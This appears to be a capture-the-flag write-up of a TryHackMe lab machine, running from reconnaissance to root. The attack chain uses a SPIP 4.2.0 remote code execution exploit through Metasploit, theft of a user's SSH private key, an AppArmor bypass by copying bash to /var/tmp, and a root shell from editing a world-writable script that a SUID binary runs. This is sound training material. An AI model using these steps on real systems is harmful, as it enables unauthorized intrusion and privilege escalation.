Hacking the matrix, one phish at a time

Publisher – THM Writeup

publisher THM tryhackme easy writeup

Recognition

We started with an Nmap scan to discover open ports:

 nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.80.181.246 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 11:50 CET
Initiating SYN Stealth Scan at 11:50
Scanning 10.80.181.246 [65535 ports]
Discovered open port 22/tcp on 10.80.181.246
Discovered open port 80/tcp on 10.80.181.246
Completed SYN Stealth Scan at 11:51, 12.66s elapsed (65535 total ports)
Nmap scan report for 10.80.181.246
Host is up, received user-set (0.058s latency).
Scanned at 2025-11-28 11:50:50 CET for 13s
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 62
80/tcp open  http    syn-ack ttl 61

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds
           Raw packets sent: 65697 (2.891MB) | Rcvd: 65535 (2.621MB)

Next, we ran a version detection scan:

 nmap -p22,80 -sCV 10.80.181.246 -oN target
Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-28 11:56 CET
Nmap scan report for 10.80.181.246
Host is up (0.042s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4d:dc:b4:ce:8e:01:4f:23:3c:16:5a:92:46:b7:38:53 (RSA)
|   256 10:9b:82:72:00:7a:6d:97:71:19:f5:3c:1e:38:28:ae (ECDSA)
|_  256 4b:a1:df:47:0d:16:50:cf:f3:63:bb:29:32:78:e7:91 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Publisher's Pulse: SPIP Insights & Tips
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.50 seconds

Nothing particularly interesting at first glance. While a directory and file fuzzing scan ran in the background, we inspected the website. It turned out to be a blog. One of the posts had the following title:

Rencontre SPIP Mise à jour critique de sécurité : sortie de SPIP 4.1.5, SPIP 4.0.8 et SPIP 3.2.16 Spip Luz Days Gazette de septembre 2023 Piratages de SPIP Nouveaux plugins SPIP5 et l’avenir de SPIP API SQL, SPIP 5 et PHP 8.1

This basically indicates that SPIP 4.1.5, 4.0.8, and 3.2.16 were released.

Using WhatWeb, we confirmed the exact SPIP version running on the site:

 whatweb 10.80.181.246/spip
<http://10.80.181.246/spip> [301 Moved Permanently] Apache[2.4.41], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.80.181.246], RedirectLocation[http://10.80.181.246/spip/], Title[301 Moved Permanently]
<http://10.80.181.246/spip/> [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.80.181.246], MetaGenerator[SPIP 4.2.0], SPIP[4.2.0][http://10.80.181.246/spip/local/config.txt], Script[text/javascript], Title[Publisher], UncommonHeaders[composed-by,link,x-spip-cache]

We searched for exploits for SPIP 4.2.0:

 searchsploit "SPIP 4.2.0"
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                      |  Path
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
SPIP v4.2.0 - Remote Code Execution (Unauthenticated)                                                                                               | php/webapps/51536.py
---------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results

The exploit details:

 searchsploit -p php/webapps/51536.py
  Exploit: SPIP v4.2.0 - Remote Code Execution (Unauthenticated)
      URL: https://www.exploit-db.com/exploits/51536
     Path: /usr/share/exploitdb/exploits/php/webapps/51536.py
    Codes: CVE-2023-27372
 Verified: True
File Type: Python script, ASCII text executable
Copied EDB-ID #51536's path to the clipboard

We also checked if a Metasploit module was available:

msf > search CVE-2023-27372

Matching Modules
================

   #  Name                                   Disclosure Date  Rank       Check  Description
   -  ----                                   ---------------  ----       -----  -----------
   0  exploit/multi/http/spip_rce_form       2023-02-27       excellent  Yes    SPIP form PHP Injection
   1    \\_ target: PHP In-Memory             .                .          .      .
   2    \\_ target: Unix/Linux Command Shell  .                .          .      .
   3    \\_ target: Windows Command Shell     .                .          .      .

Interact with a module by name or index. For example info 3, use 3 or use exploit/multi/http/spip_rce_form
After interacting with a module you can manually set a TARGET with set TARGET 'Windows Command Shell'

We loaded the module and set the required parameters:

  • set RHOSTS
  • set LHOST
  • set TARGETURI /spip/

After running exploit, we successfully obtained a Meterpreter session.

Lateral Movement

We landed as the user www-data. Running ls showed we were inside the SPIP installation directory /home/think/spip/spip:

meterpreter > ls
Listing: /home/think/spip/spip
==============================

Mode              Size   Type  Last modified              Name
----              ----   ----  -------------              ----
100755/rwxr-xr-x  7045   fil   2023-12-20 20:05:25 +0100  CHANGELOG.md
040755/rwxr-xr-x  4096   dir   2023-12-20 20:05:15 +0100  IMG
100755/rwxr-xr-x  35147  fil   2023-12-20 20:05:25 +0100  LICENSE
100755/rwxr-xr-x  842    fil   2023-12-20 20:05:25 +0100  README.md
100755/rwxr-xr-x  178    fil   2023-12-20 20:05:25 +0100  SECURITY.md
100755/rwxr-xr-x  1761   fil   2023-12-20 20:05:25 +0100  composer.json
100755/rwxr-xr-x  27346  fil   2023-12-20 20:05:25 +0100  composer.lock
040755/rwxr-xr-x  4096   dir   2023-12-20 20:05:15 +0100  config
040755/rwxr-xr-x  4096   dir   2023-12-20 20:05:16 +0100  ecrire
100755/rwxr-xr-x  4307   fil   2023-12-20 20:05:25 +0100  htaccess.txt
100755/rwxr-xr-x  42     fil   2023-12-20 20:05:25 +0100  index.php
040755/rwxr-xr-x  4096   dir   2023-12-20 20:05:16 +0100  local
040755/rwxr-xr-x  4096   dir   2023-12-20 20:05:19 +0100  plugins-dist
100755/rwxr-xr-x  3645   fil   2023-12-20 20:05:25 +0100  plugins-dist.json
040755/rwxr-xr-x  4096   dir   2023-12-20 20:05:20 +0100  prive
100755/rwxr-xr-x  973    fil   2023-12-20 20:05:25 +0100  spip.php
100755/rwxr-xr-x  1212   fil   2023-12-20 20:05:25 +0100  spip.png
100755/rwxr-xr-x  1673   fil   2023-12-20 20:05:25 +0100  spip.svg
040755/rwxr-xr-x  4096   dir   2023-12-20 20:05:20 +0100  squelettes-dist
040755/rwxr-xr-x  4096   dir   2025-11-28 12:20:53 +0100  tmp
040755/rwxr-xr-x  4096   dir   2023-12-20 20:05:25 +0100  vendor

We tried reading the user flag:

meterpreter > cat /home/think/user.txt
f********

It worked! This meant we could read files in the /home/think directory. Inside /home/think/.ssh, we found an id_rsa private key.

  1. We copied the content of id_rsa to a local file called id_rsa_think.
  2. Set proper permissions: chmod 600 id_rsa_think.
  3. Connected via SSH: ssh -i id_rsa_think think@10.80.181.246.

Privilege Escalation

We searched for SUID binaries:

find / -perm /4000 2>/dev/null

An unusual one stood out: /usr/sbin/run_container. We executed it:

think@ip-10-80-181-246:/$ /usr/sbin/run_container
List of Docker containers:
ID: e46e3e35fd92 | Name: youthful_bassi | Status: Created
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 2 hours

Enter the ID of the container or leave blank to create a new one: 41c976e507f8
/opt/run_container.sh: line 16: validate_container_id: command not found

OPTIONS:
1) Start Container
2) Stop Container
3) Restart Container
4) Create Container
5) Quit
Choose an action for a container: 5
Exiting...

The binary interacts with Docker containers and executes /opt/run_container.sh. We checked its permissions:

think@ip-10-80-181-246:/$ ls -la /opt/run_container.sh
-rwxrwxrwx 1 root root 1715 Jan 10  2024 /opt/run_container.sh

It is world-writable, but we could not write to /opt because AppArmor was active (confirmed with linpeas.sh). AppArmor is a Linux security system that enforces mandatory access control (MAC) via profiles, restricting what files programs can read, write, or execute.

AppArmor profiles are located in /etc/apparmor.d/:

think@ip-10-82-184-153:/etc/apparmor.d$ ls -la
# (output omitted)

We inspected the profile for our shell (ash):

think@ip-10-82-184-153:/etc/apparmor.d$ cat usr.sbin.ash 
#include <tunables/global>

/usr/sbin/ash flags=(complain) {
  #include <abstractions/base>
  #include <abstractions/bash>
  #include <abstractions/consoles>
  #include <abstractions/nameservice>
  #include <abstractions/user-tmp>

  # Remove specific file path rules
  # Deny access to certain directories
  deny /opt/ r,
  deny /opt/** w,
  deny /tmp/** w,
  deny /dev/shm w,
  deny /var/tmp w,
  deny /home/** w,
  /usr/bin/** mrix,
  /usr/sbin/** mrix,

  # Simplified rule for accessing /home directory
  owner /home/** rix,
}

Notice that /var/tmp/** w was missing — only /var/tmp w was denied. This meant we could write to /var/tmp.

To bypass the restricted shell, we copied /bin/bash to /var/tmp and executed it:

think@ip-10-82-139-39:/var/tmp$ cp /bin/bash bash
think@ip-10-82-139-39:/var/tmp$ chmod +x bash
think@ip-10-82-139-39:/var/tmp$ /var/tmp/bash -p
think@ip-10-82-139-39:/var/tmp$ ls /opt
containerd  dockerfile  run_container.sh

Now we could write to /opt and modify /opt/run_container.sh. We added /bin/bash -p at the beginning of the prompt_container_id function:

# Function to prompt user for container ID
prompt_container_id() {
    /bin/bash -p
    read -p "Enter the ID of the container or leave blank to create a new one: " container_id
    validate_container_id "$container_id"
}

Running /usr/sbin/run_container again gave us a root shell:

think@ip-10-82-139-39:/var/tmp$ nano /opt/run_container.sh 
think@ip-10-82-139-39:/var/tmp$ /usr/sbin/run_container 
List of Docker containers:
ID: 41c976e507f8 | Name: jovial_hertz | Status: Up 10 minutes

bash-5.0# whoami
root
bash-5.0# cat /root/root.txt
3******************************* 

Machine completed.

Summary

This machine was a medium-difficulty box that started with a classic web application vulnerability and ended with a clever AppArmor bypass for privilege escalation.

  • Initial Access: An unauthenticated remote code execution vulnerability (CVE-2023-27372) in SPIP 4.2.0 was exploited via the Metasploit module exploit/multi/http/spip_rce_form, granting a Meterpreter session as the web server user www-data.
  • Lateral Movement: From the web directory (/home/think/spip/spip), we could read the user flag and the private SSH key located in /home/think/.ssh/id_rsa. This allowed us to log in as the low-privileged user think.
  • Privilege Escalation: The SUID binary /usr/sbin/run_container executed the world-writable script /opt/run_container.sh. AppArmor restricted writes to most directories, but /var/tmp was not properly denied. By copying a full bash binary to /var/tmp and running it with -p, we escaped the restricted shell, modified the script to spawn a root shell, and obtained the root flag.

Machine completed.

Index